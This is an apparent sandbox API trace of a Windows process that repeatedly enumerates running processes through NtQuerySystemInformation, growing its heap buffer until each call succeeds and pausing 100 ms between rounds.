	[0066.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.206] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x8120) returned 0x28bc9e8
	[0066.206] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.206] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x9144) returned 0x28bc9e8
	[0066.206] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.206] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0xa168) returned 0x28bc9e8
	[0066.206] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.207] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0xb18c) returned 0x28bc9e8
	[0066.207] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.207] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0xc1b0) returned 0x28bc9e8
	[0066.207] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.207] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0xd1d4) returned 0x28bc9e8
	[0066.207] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.208] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0xe1f8) returned 0x28bc9e8
	[0066.208] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.208] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0xf21c) returned 0x28bc9e8
	[0066.208] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.209] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x10240) returned 0x28bc9e8
	[0066.209] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.209] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x11264) returned 0x28bc9e8
	[0066.209] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.209] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x12288) returned 0x28bc9e8
	[0066.209] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.210] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x132ac) returned 0x28bc9e8
	[0066.210] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.210] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x142d0) returned 0x28bc9e8
	[0066.210] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.211] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x152f4) returned 0x28bc9e8
	[0066.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.211] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x16318) returned 0x28bc9e8
	[0066.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.212] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x1733c) returned 0x28bc9e8
	[0066.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.212] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x18360) returned 0x28bc9e8
	[0066.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.212] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x19384) returned 0x28bc9e8
	[0066.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.213] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x1a3a8) returned 0x28bc9e8
	[0066.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.213] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x1b3cc) returned 0x28bc9e8
	[0066.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.214] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x1c3f0) returned 0x28bc9e8
	[0066.214] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.214] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x1d414) returned 0x28bc9e8
	[0066.214] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.215] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x1e438) returned 0x28bc9e8
	[0066.215] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28bc9e8, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28bc9e8, ResultLength=0x0) returned 0xc0000004
	[0066.215] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28bc9e8, Size=0x1f45c) returned 0x2894bd8
	[0066.215] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.216] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x20480) returned 0x2894bd8
	[0066.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.216] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x214a4) returned 0x2894bd8
	[0066.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.217] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x224c8) returned 0x2894bd8
	[0066.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.217] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x234ec) returned 0x2894bd8
	[0066.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.218] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x24510) returned 0x2894bd8
	[0066.218] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0x0
	[0066.219] Sleep (dwMilliseconds=0x64) 
	[0066.534] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28876a8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28876a8, ResultLength=0x0) returned 0xc0000004
	[0066.538] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28876a8, Size=0x2048) returned 0x28be678
	[0066.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.538] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x306c) returned 0x28be678
	[0066.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.539] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x4090) returned 0x28be678
	[0066.539] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.539] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x50b4) returned 0x28be678
	[0066.539] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.539] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x60d8) returned 0x28be678
	[0066.539] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.539] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x70fc) returned 0x28be678
	[0066.539] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.540] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x8120) returned 0x28be678
	[0066.540] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.541] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x9144) returned 0x28be678
	[0066.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.541] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0xa168) returned 0x28be678
	[0066.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.542] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0xb18c) returned 0x28be678
	[0066.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.542] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0xc1b0) returned 0x28be678
	[0066.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.542] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0xd1d4) returned 0x28be678
	[0066.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.543] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0xe1f8) returned 0x28be678
	[0066.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.543] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0xf21c) returned 0x28be678
	[0066.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.544] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x10240) returned 0x28be678
	[0066.544] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.544] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x11264) returned 0x28be678
	[0066.544] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.545] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x12288) returned 0x28be678
	[0066.545] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.545] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x132ac) returned 0x28be678
	[0066.545] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.546] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x142d0) returned 0x28be678
	[0066.546] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.546] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x152f4) returned 0x28be678
	[0066.546] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.547] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x16318) returned 0x28be678
	[0066.547] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.547] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1733c) returned 0x28be678
	[0066.547] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.548] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x18360) returned 0x28be678
	[0066.548] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.548] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x19384) returned 0x28be678
	[0066.548] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.549] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1a3a8) returned 0x28be678
	[0066.549] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.549] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1b3cc) returned 0x28be678
	[0066.549] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.550] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1c3f0) returned 0x28be678
	[0066.550] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.550] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1d414) returned 0x2894bd8
	[0066.550] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.551] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x1e438) returned 0x2894bd8
	[0066.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.551] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x1f45c) returned 0x2894bd8
	[0066.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.552] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x20480) returned 0x2894bd8
	[0066.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.552] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x214a4) returned 0x2894bd8
	[0066.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.553] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x224c8) returned 0x2894bd8
	[0066.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.553] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x234ec) returned 0x2894bd8
	[0066.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.554] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x24510) returned 0x2894bd8
	[0066.554] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0066.554] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x25534) returned 0x28be678
	[0066.555] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0x0
	[0066.556] Sleep (dwMilliseconds=0x64) 
	[0066.671] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28887b0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28887b0, ResultLength=0x0) returned 0xc0000004
	[0066.671] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28887b0, Size=0x2048) returned 0x289b3a0
	[0066.671] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.672] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x306c) returned 0x289b3a0
	[0066.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.672] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x4090) returned 0x289b3a0
	[0066.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.672] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x50b4) returned 0x289b3a0
	[0066.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.672] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x60d8) returned 0x289b3a0
	[0066.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.673] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x70fc) returned 0x289b3a0
	[0066.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.673] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x8120) returned 0x289b3a0
	[0066.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.673] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x9144) returned 0x289b3a0
	[0066.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.674] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0xa168) returned 0x289b3a0
	[0066.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.674] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0xb18c) returned 0x289b3a0
	[0066.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.674] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0xc1b0) returned 0x289b3a0
	[0066.675] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.675] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0xd1d4) returned 0x289b3a0
	[0066.675] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.675] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0xe1f8) returned 0x289b3a0
	[0066.675] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.676] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0xf21c) returned 0x289b3a0
	[0066.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.676] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x10240) returned 0x289b3a0
	[0066.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.676] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x11264) returned 0x289b3a0
	[0066.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.677] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x12288) returned 0x289b3a0
	[0066.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.677] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x132ac) returned 0x289b3a0
	[0066.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.678] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x142d0) returned 0x289b3a0
	[0066.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
